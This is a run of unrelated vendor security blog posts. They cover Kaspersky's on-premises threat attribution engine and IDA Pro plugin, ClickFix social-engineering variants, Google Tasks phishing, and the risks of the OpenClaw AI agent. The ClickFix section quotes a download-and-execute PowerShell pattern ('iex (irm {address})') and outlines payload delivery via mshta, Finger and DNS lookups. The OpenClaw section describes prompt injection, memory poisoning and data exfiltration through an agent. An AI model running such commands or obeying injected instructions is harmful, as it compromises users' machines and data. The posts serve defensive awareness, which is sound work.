Finally, if you work with freelancers or self-employed contractors (or simply allow BYOD), only allow them to access your network if they have a comprehensive macOS security solution installed.

Still think macOS is safe? Then read about these Mac threats:

• Banshee: A stealer targeting macOS users
• Are Macs safe? Threats to macOS users
• Infostealer has entered the chat
• AirBorne: Attacks on Apple devices through vulnerabilities in AirPlay
• Hacking Android, macOS, iOS, and Linux through a Bluetooth vulnerability

In a previous post, we walked through a practical example of how threat attribution helps in incident investigations. We also introduced the Kaspersky Threat Attribution Engine (KTAE) — our tool for making an educated guess about which specific APT group a malware sample belongs to. To demonstrate it, we used the Kaspersky Threat Intelligence Portal — a cloud-based tool that provides access to KTAE as part of our comprehensive Threat Analysis service, alongside a sandbox and a non-attributing similarity-search tool. The advantages of a cloud service are obvious: clients don’t need to invest in hardware, install anything, or manage any software. However, as real-world experience shows, the cloud version of an attribution tool isn’t for everyone…

First, some organizations are bound by regulatory restrictions that strictly forbid any data from leaving their internal perimeter. For the security analysts at these firms, uploading files to a third-party service is out of the question. Second, some companies employ hardcore threat hunters who need a more flexible toolkit — one that lets them work with their own proprietary research alongside Kaspersky’s threat intelligence. That’s why KTAE is available in two flavors: a cloud-based version and an on-prem deployment.

What are the on-prem KTAE advantages over the cloud version?

First off, the local version of KTAE ensures an investigation stays fully confidential. All the analysis takes place right in the organization’s internal network. The threat intelligence source is a database deployed inside the company perimeter; it is packed with the unique indicators and attribution data of every malicious sample known to our experts; and it also contains the characteristics pertaining to legitimate files to exclude false-positive detections. The database gets regular updates, but it operates one-way: no information ever leaves the client’s network.

Additionally, the on-prem version of KTAE gives experts the ability to add new threat groups to the database and link them to malware samples they discovered on their own. This means that subsequent attribution of new files will account for the data added by internal researchers. This allows experts to catalog their own unique malware clusters, work with them, and identify similarities.

Here’s another handy expert tool: our team has developed a free plugin for IDA Pro, a popular disassembler, for use with the local version of KTAE.

What’s the purpose of an attribution plugin for a disassembler?

For a SOC analyst on alert triage, attributing a malicious file found in the infrastructure is straightforward: just upload it to KTAE (cloud or on-prem) and get a verdict, like Manuscrypt (83%). That’s sufficient for taking adequate countermeasures against that group’s known toolkit and assessing the overall situation. A threat hunter, however, might not want to take that verdict at face value. Alternatively, they might ask, “Which code fragments are unique across all the malware samples used by this group?” Here an attribution plugin for a disassembler comes in handy.

Inside the IDA Pro interface, the plugin highlights the specific disassembled code fragments that triggered the attribution algorithm. This doesn’t just allow for a more expert-level deep dive into new malware samples; it also lets Kaspersky researchers refine attribution rules on the fly. As a result, the algorithm — and KTAE itself — keeps evolving, making attribution more accurate with every run.

How to set up the plugin

The plugin is a script written in Python. To get it up and running you need IDA Pro. Unfortunately, it won’t work in IDA Free, since it lacks support for Python plugins. If you don’t have Python installed yet, you’d need to grab that, set up the dependencies (check the requirements file in our GitHub repository), and make sure IDA Pro environment variables are pointing to the Python libraries.

Next, you’d need to insert the URL for your local KTAE instance into the script body and provide your API token (which is available on a commercial basis) — just like it’s done in the example script described in the KTAE documentation.

Then you can simply drop the script into your IDA Pro plugins folder and fire up the disassembler. If you’ve done it right, then, after loading and disassembling a sample, you’ll see the option to launch the Kaspersky Threat Attribution Engine (KTAE) plugin under Edit → Plugins:

How to use the plugin

When the plugin is installed, here’s what happens under the hood: the file currently loaded in IDA Pro is sent via API to the locally installed KTAE service, at the URL configured in the script. The service analyzes the file, and the analysis results are piped right back into IDA Pro.

On a local network, the script usually finishes its job in a matter of seconds (the duration depends on the connection to the KTAE server and the size of the analyzed file). Once the plugin wraps up, a researcher can start digging into the highlighted code fragments. A double-click leads straight to the relevant section in the assembly or binary code (Hex view) for analysis. These extra data points make it easy to spot shared code blocks and track changes in a malware toolkit.

To learn more about the Kaspersky Threat Attribution Engine and how to deploy it, check out the official product documentation. And to arrange a demonstration or piloting project, please fill out the form on the Kaspersky website.

About a year ago, we published a post about the ClickFix technique, which was gaining popularity among attackers. The essence of attacks using ClickFix boils down to convincing the victim, under various pretexts, to run a malicious command on their computer. That is, from the cybersecurity solutions point of view, it’s run on behalf of the active user and with their privileges.

In early uses of this technique, cybercriminals tried to convince victims that they need to execute a command to fix some problem or to pass a captcha, and in the vast majority of cases, the malicious command was a PowerShell script. However, since then, attackers have come up with a number of new tricks that users should be warned about, as well as a number of new variants of malicious payload delivery, which are also worth keeping an eye on.

Use of mshta.exe

Last year, Microsoft experts published a report on cyberattacks targeting hotel owners working with Booking.com. The attackers sent out fake notifications from the service, or emails pretending to be from guests drawing attention to a review. In both cases, the email contained a link to a website imitating Booking.com, which asked the victim to prove that they were not a robot by running a code via the Run menu.

There are two key differences between this attack and ClickFix. First, the user isn’t asked to copy the string (after all, a string with code sometimes arouses suspicion). It’s copied to the exchange buffer by the malicious site – probably when the user clicks on a checkbox that mimics the reCAPTCHA mechanism. Second, the malicious string calls the legitimate mshta.exe utility, which serves to run applications written in HTML. It contacts the attackers’ server and executes the malicious payload.

Video on TikTok and PowerShell with administrator privileges

BleepingComputer published an article in October 2025 about a campaign spreading malware through instructions in TikTok videos. The videos themselves imitate video tutorials on how to activate proprietary software for free. The advice they give boils down to a need to run PowerShell with administrator rights and then execute the command iex (irm {address}). Here, the irm command downloads a malicious script from a server controlled by attackers, and the iex (Invoke-Expression) command runs it. The script, in turn, downloads an infostealer malware to the victim’s computer.

Using the Finger protocol

Another unusual variant of the ClickFix attack uses the familiar captcha trick, but the malicious script uses the outdated Finger protocol. The utility of the same name allows anyone to request data about a specific user on a remote server. The protocol is rarely used nowadays, but it is still supported by Windows, macOS, and a number of Linux-based systems.

The user is persuaded to open the command line interface and use it to run a command that establishes a connection via the Finger protocol (using TCP port 79) with the attackers’ server. The protocol only transfers text information, but this is enough to download another script to the victim’s computer, which then installs the malware.

CrashFix variant

Another variant of ClickFix differs in that it uses more sophisticated social engineering. It was used in an attack on users trying to find a tool to block advertising banners, trackers, malware, and other unwanted content on web pages. When searching for a suitable extension for Google Chrome, victims found something called NexShield – Advanced Web Guardian, which was in fact a clone of real working software, but which at some point crashed the browser and displayed a fake notification about a detected security problem and the need to run a “scan” to fix the error. If the user agreed, they received instructions on how to open the Run menu and execute a command that the extension had previously copied to the clipboard.

The command copied the familiar finger.exe file to a temporary directory, renamed it ct.exe, and then launched it with the attacker’s address. The rest of the attack was the same as in the abovementioned case. In response to the Finger protocol request, a malicious script was delivered, which launched and installed a remote access Trojan (in this case, ModeloRAT).

Malware delivery via DNS lookup

The Microsoft Threat Intelligence team also shared a slightly more complex than usual ClickFix attack variant. Unfortunately, they didn’t describe the social engineering trick, but the method of delivering the malicious payload is quite interesting. Probably in order to complicate detection of the attack in a corporate environment and prolong the life of the malicious infrastructure, the attackers used an additional step: contacting a DNS server controlled by the attackers.

That is, after the victim is somehow persuaded to copy and execute a malicious command, a request is sent to the DNS server on behalf of the user via the legitimate nslookup utility, requesting data for the example.com domain. The command contained the address of a specific DNS server controlled by the attackers. It returns a response that, among other things, returned a string with malicious script, which in turn downloads the final payload (in this attack, ModeloRAT again).

Cryptocurrency bait and JavaScript as payload

The next attack variant is interesting for its multi-stage social engineering. In comments on Pastebin, attackers actively spread a message about an alleged flaw in the Swapzone.io cryptocurrency exchange service. Cryptocurrency owners were invited to visit a resource created by fraudsters, which contained full instructions on how to exploit this flaw, which can make up to $13,000 in a couple of days.

The instructions explain how the service’s flaws can be exploited to exchange cryptocurrency at a more favorable rate. To do this, a victim needs to open the service’s website in the Chrome browser, manually type “javascript:” in the address bar, and then paste the JavaScript script copied from the attackers’ website and execute it. In reality, of course, the script cannot affect exchange rates in any way; it simply replaces Bitcoin wallet addresses and, if the victim actually tries to exchange something, transfers the funds to the attackers’ accounts.

How to protect your company from ClickFix attacks

The simplest attacks using the ClickFix technique can be countered by blocking the [Win] + [R] key combination on work devices. But, as we see from the examples listed, this is far from the only type of attack in which users are asked to run malicious code themselves.

Therefore, the main advice is to raise employee cybersecurity awareness. They must clearly understand that if someone asks them to perform any unusual manipulations with the system, and/or copy and paste code somewhere, then in most cases this is a trick used by cybercriminals. Security awareness training can be organized using the Kaspersky Automated Security Awareness Platform.

In addition, to protect against such cyberattacks, we recommend:

• Using reliable protection on all corporate devices.
• Monitoring suspicious activity on the company network using an XDR solution.
• If internal resources are insufficient, using an external service to detect threats and respond to them promptly.

We’ve written time and again about phishing schemes where attackers exploit various legitimate servers to deliver emails. If they manage to hijack someone’s SharePoint server, they’ll use that; if not, they’ll settle for sending notifications through a free service like GetShared. However, Google’s vast ecosystem of services holds a special place in the hearts of scammers, and this time Google Tasks is the star of the show. As per usual, the main goal of this trick is to bypass email filters by piggybacking the rock-solid reputation of the middleman being exploited.

What phishing via Google Tasks looks like

The recipient gets a legitimate notification from an @google.com address with the message: “You have a new task”. Essentially, the attackers are trying to give the victim the impression that the company has started using Google’s task tracker, and as a result they need to immediately follow a link to fill out an employee verification form.

To deprive the recipient of any time to actually think about whether this is necessary, the task usually includes a tight deadline and is marked with high priority. Upon clicking the link within the task, the victim is presented with an URL leading to a form where they must enter their corporate credentials to “confirm their employee status”. These credentials, of course, are the ultimate goal of the phishing attack.

How to protect employee credentials from phishing

Of course, employees should be warned about the existence of this scheme — for instance, by sharing a link to our collection of posts on the red flags of phishing. But in reality, the issue isn’t with any one specific service — it’s about the overall cybersecurity culture within a company. Workflow processes need to be clearly defined so that every employee understands which tools the company actually uses and which it doesn’t. It might make sense to maintain a public corporate document listing authorized services and the people or departments responsible for them. This gives employees a way to verify if that invitation, task, or notification is the real deal. Additionally, it never hurts to remind everyone that corporate credentials should only be entered on internal corporate resources. To automate the training process and keep your team up to speed on modern cyberthreats, you can use a dedicated tool like the Kaspersky Automated Security Awareness Platform.

Beyond that, as usual, we recommend minimizing the number of potentially dangerous emails hitting employee inboxes by using a specialized mail gateway security solution. It’s also vital to equip all web-connected workstations with security software. Even if an attacker manages to trick an employee, the security product will block the attempt to visit the phishing site — preventing corporate credentials from leaking in the first place.

Everyone has likely heard of OpenClaw, previously known as “Clawdbot” or “Moltbot”, the open-source AI assistant that can be deployed on a machine locally. It plugs into popular chat platforms like WhatsApp, Telegram, Signal, Discord, and Slack, which allows it to accept commands from its owner and go to town on the local file system. It has access to the owner’s calendar, email, and browser, and can even execute OS commands via the shell.

From a security perspective, that description alone should be enough to give anyone a nervous twitch. But when people start trying to use it for work within a corporate environment, anxiety quickly hardens into the conviction of imminent chaos. Some experts have already dubbed OpenClaw the biggest insider threat of 2026. The issues with OpenClaw cover the full spectrum of risks highlighted in the recent OWASP Top 10 for Agentic Applications.

OpenClaw permits plugging in any local or cloud-based LLM, and the use of a wide range of integrations with additional services. At its core is a gateway that accepts commands via chat apps or a web UI, and routes them to the appropriate AI agents. The first iteration, dubbed Clawdbot, dropped in November 2025; by January 2026, it had gone viral — and brought a heap of security headaches with it. In a single week, several critical vulnerabilities were disclosed, malicious skills cropped up in the skill directory, and secrets were leaked from Moltbook (essentially “Reddit for bots”). To top it off, Anthropic issued a trademark demand to rename the project to avoid infringing on “Claude”, and the project’s X account name was hijacked to shill crypto scams.

Known OpenClaw issues

Though the project’s developer appears to acknowledge that security is important, since this is a hobbyist project there are zero dedicated resources for vulnerability management or other product security essentials.

OpenClaw vulnerabilities

Among the known vulnerabilities in OpenClaw, the most dangerous is CVE-2026-25253 (CVSS 8.8). Exploiting it leads to a total compromise of the gateway, allowing an attacker to run arbitrary commands. To make matters worse, it’s alarmingly easy to pull off: if the agent visits an attacker’s site or the user clicks a malicious link, the primary authentication token is leaked. With that token in hand, the attacker has full administrative control over the gateway. This vulnerability was patched in version 2026.1.29.

Also, two dangerous command injection vulnerabilities (CVE-2026-24763 and CVE-2026-25157) were discovered.

Insecure defaults and features

A variety of default settings and implementation quirks make attacking the gateway a walk in the park:

• Authentication is disabled by default, so the gateway is accessible from the internet.
• The server accepts WebSocket connections without verifying their origin.
• Localhost connections are implicitly trusted, which is a disaster waiting to happen if the host is running a reverse proxy.
• Several tools — including some dangerous ones — are accessible in Guest Mode.
• Critical configuration parameters leak across the local network via mDNS broadcast messages.

Secrets in plaintext

OpenClaw’s configuration, “memory”, and chat logs store API keys, passwords, and other credentials for LLMs and integration services in plain text. This is a critical threat — to the extent that versions of the RedLine and Lumma infostealers have already been spotted with OpenClaw file paths added to their must-steal lists. Also, the Vidar infostealer was caught stealing secrets from OpenClaw.

Malicious skills

OpenClaw’s functionality can be extended with “skills” available in the ClawHub repository. Since anyone can upload a skill, it didn’t take long for threat actors to start “bundling” the AMOS macOS infostealer into their uploads. Within a short time, the number of malicious skills reached the hundreds. This prompted developers to quickly ink a deal with VirusTotal to ensure all uploaded skills aren’t only checked against malware databases, but also undergo code and content analysis via LLMs. That said, the authors are very clear: it’s no silver bullet.

Structural flaws in the OpenClaw AI agent

Vulnerabilities can be patched and settings can be hardened, but some of OpenClaw’s issues are fundamental to its design. The product combines several critical features that, when bundled together, are downright dangerous:

• OpenClaw has privileged access to sensitive data on the host machine and the owner’s personal accounts.
• The assistant is wide open to untrusted data: the agent receives messages via chat apps and email, autonomously browses web pages, etc.
• It suffers from the inherent inability of LLMs to reliably separate commands from data, making prompt injection a possibility.
• The agent saves key takeaways and artifacts from its tasks to inform future actions. This means a single successful injection can poison the agent’s memory, influencing its behavior long-term.
• OpenClaw has the power to talk to the outside world — sending emails, making API calls, and utilizing other methods to exfiltrate internal data.

It’s worth noting that while OpenClaw is a particularly extreme example, this “Terrifying Five” list is actually characteristic of almost all multi-purpose AI agents.

OpenClaw risks for organizations

If an employee installs an agent like this on a corporate device and hooks it into even a basic suite of services (think Slack and SharePoint), the combination of autonomous command execution, broad file system access, and excessive OAuth permissions creates fertile ground for a deep network compromise. In fact, the bot’s habit of hoarding unencrypted secrets and tokens in one place is a disaster waiting to happen — even if the AI agent itself is never compromised.

On top of that, these configurations violate regulatory requirements across multiple countries and industries, leading to potential fines and audit failures. Current regulatory requirements, like those in the EU AI Act or the NIST AI Risk Management Framework, explicitly mandate strict access control for AI agents. OpenClaw’s configuration approach clearly falls short of those standards.

But the real kicker is that even if employees are banned from installing this software on work machines, OpenClaw can still end up on their personal devices. This also creates specific risks for given the organization as a whole:

• Personal devices frequently store access to work systems like corporate VPN configs or browser tokens for email and internal tools. These can be hijacked to gain a foothold in the company’s infrastructure.
• Controlling the agent via chat apps means that it’s not just the employee that becomes a target for social engineering, but also their AI agent, seeing AI account takeovers or impersonation of the user in chats with colleagues (among other scams) become a reality. Even if work is only occasionally discussed in personal chats, the info in them is ripe for the picking.
• If an AI agent on a personal device is hooked into any corporate services (email, messaging, file storage), attackers can manipulate the agent to siphon off data, and this activity would be extremely difficult for corporate monitoring systems to spot.

How to detect OpenClaw

Depending on the SOC team’s monitoring and response capabilities, they can track OpenClaw gateway connection attempts on personal devices or in the cloud. Additionally, a specific combination of red flags can indicate OpenClaw’s presence on a corporate device:

• Look for ~/.openclaw/, ~/clawd/, or ~/.clawdbot directories on host machines.
• Scan the network with internal tools, or public ones like Shodan, to identify the HTML fingerprints of Clawdbot control panels.
• Monitor for WebSocket traffic on ports 3000 and 18789.
• Keep an eye out for mDNS broadcast messages on port 5353 (specifically openclaw-gw.tcp).
• Watch for unusual authentication attempts in corporate services, such as new App ID registrations, OAuth Consent events, or User-Agent strings typical of Node.js and other non-standard user agents.
• Look for access patterns typical of automated data harvesting: reading massive chunks of data (scraping all files or all emails) or scanning directories at fixed intervals during off-hours.

Controlling shadow AI

A set of security hygiene practices can effectively shrink the footprint of both shadow IT and shadow AI, making it much harder to deploy OpenClaw in an organization:

• Use host-level allowlisting to ensure only approved applications and cloud integrations are installed. For products that support extensibility (like Chrome extensions, VS Code plugins, or OpenClaw skills), implement a closed list of vetted add-ons.
• Conduct a full security assessment of any product or service, AI agents included, before allowing them to hook into corporate resources.
• Treat AI agents with the same rigorous security requirements applied to public-facing servers that process sensitive corporate data.
• Implement the principle of least privilege for all users and other identities.
• Don’t grant administrative privileges without a critical business need. Require all users with elevated permissions to use them only when performing specific tasks rather than working from privileged accounts all the time.
• Configure corporate services so that technical integrations (like apps requesting OAuth access) are granted only the bare minimum permissions.
• Periodically audit integrations, OAuth tokens, and permissions granted to third-party apps. Review the need for these with business owners, proactively revoke excessive permissions, and kill off stale integrations.

Secure deployment of agentic AI

If an organization allows AI agents in an experimental capacity — say, for development testing or efficiency pilots — or if specific AI use cases have been greenlit for general staff, robust monitoring, logging, and access control measures should be implemented:

• Deploy agents in an isolated subnet with strict ingress and egress rules, limiting communication only to trusted hosts required for the task.
• Use short-lived access tokens with a strictly limited scope of privileges. Never hand an agent tokens that grant access to core company servers or services. Ideally, create dedicated service accounts for every individual test.
• Wall off the agent from dangerous tools and data sets that aren’t relevant to its specific job. For experimental rollouts, it’s best practice to test the agent using purely synthetic data that mimics the structure of real production data.
• Configure detailed logging of the agent’s actions. This should include event logs, command-line parameters, and chain-of-thought artifacts associated with every command it executes.
• Set up SIEM to flag abnormal agent activity. The same techniques and rules used to detect LotL attacks are applicable here, though additional efforts to define what normal activity looks like for a specific agent are required.
• If MCP servers and additional agent skills are used, scan them with the security tools emerging for these tasks, such as skill-scanner, mcp-scanner, or mcp-scan. Specifically for OpenClaw testing, several companies have already released open-source tools to audit the security of its configurations.

Corporate policies and employee training

A flat-out ban on all AI tools is a simple but rarely productive path. Employees usually find workarounds — driving the problem into the shadows where it’s even harder to control. Instead, it’s better to find a sensible balance between productivity and security.

Implement transparent policies on using agentic AI. Define which data categories are okay for external AI services to process, and which are strictly off-limits. Employees need to understand why something is forbidden. A policy of “yes, but with guardrails” is always received better than a blanket “no”.

Train with real-world examples. Abstract warnings about “leakage risks” tend to be futile. It’s better to demonstrate how an agent with email access can forward confidential messages just because a random incoming email asked it to. When the threat feels real, motivation to follow the rules grows too. Ideally, employees should complete a brief crash course on AI security.

Offer secure alternatives. If employees need an AI assistant, provide an approved tool that features centralized management, logging, and OAuth access control.